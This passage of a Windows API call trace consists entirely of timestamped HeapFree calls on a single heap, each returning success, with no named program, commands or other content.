	[0178.797] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0178.797] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0179.208] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0179.345] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0179.346] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0179.346] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0179.346] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0179.348] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0179.749] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0179.929] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.929] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.929] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0179.931] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.932] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0179.932] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.933] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0179.936] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.936] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.936] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.937] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.937] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0179.937] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.941] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.942] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.945] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.947] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.948] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0179.948] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.950] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.951] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0179.951] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.951] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.951] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0179.951] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.953] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0179.953] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.953] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0179.956] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0179.958] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0179.960] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.960] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.960] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0179.960] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.960] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.961] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.961] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.961] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.961] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.961] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.961] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.962] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.962] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.962] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.962] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.962] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0179.962] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0180.164] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0180.193] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.194] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.194] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.195] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.195] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.195] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0180.195] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0180.195] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0180.195] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.195] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0180.196] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0180.196] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0180.197] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0180.197] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0180.197] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0180.198] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0180.198] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0180.200] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0180.201] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0180.202] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0180.202] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0180.202] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0180.202] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0180.203] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0180.203] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0180.203] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0180.204] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0180.205] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0180.205] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0180.206] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0180.206] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0180.206] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0180.206] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0180.207] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0180.207] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0180.208] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0180.209] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0180.211] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0180.211] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0180.211] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0180.213] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0180.216] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0180.216] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0180.216] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0180.496] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.499] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.500] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.502] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.503] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.505] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.506] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.518] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.522] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.525] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0180.527] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.035] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.049] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.051] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.052] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.055] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.057] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.059] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.060] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.076] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.077] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.094] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.096] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.433] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.697] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.699] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.701] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.704] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.706] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.708] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.710] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.712] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.714] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0181.716] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0182.196] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0182.512] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0182.518] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0182.522] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0182.525] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0182.528] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0182.533] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0182.536] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0182.539] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0182.542] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0182.546] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0182.549] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0184.227] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0184.693] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.127] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.129] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.130] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.132] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.134] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.136] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.138] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.139] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.141] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.143] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.144] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.197] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.200] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.203] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.206] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.209] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.212] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.483] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.487] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.494] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0185.495] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0185.496] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0185.498] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.498] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.505] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.505] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0185.514] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.515] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.515] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0185.801] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.801] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0185.803] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.803] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0185.805] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.805] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.807] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.809] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.809] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.809] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.810] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0185.810] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0185.811] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0185.811] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.811] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0185.812] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.812] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0185.816] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.816] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0185.817] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0185.819] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0185.819] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.819] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0186.283] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0186.283] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0186.284] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0186.284] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0186.294] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0186.294] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0186.294] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0186.705] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0186.705] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0186.705] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0186.721] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0186.721] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0186.721] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0186.723] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0186.723] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0186.723] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0186.723] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0186.727] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0186.728] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0186.728] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0186.729] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0186.729] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0186.729] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0186.730] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0186.731] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0186.732] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0186.732] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0186.732] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
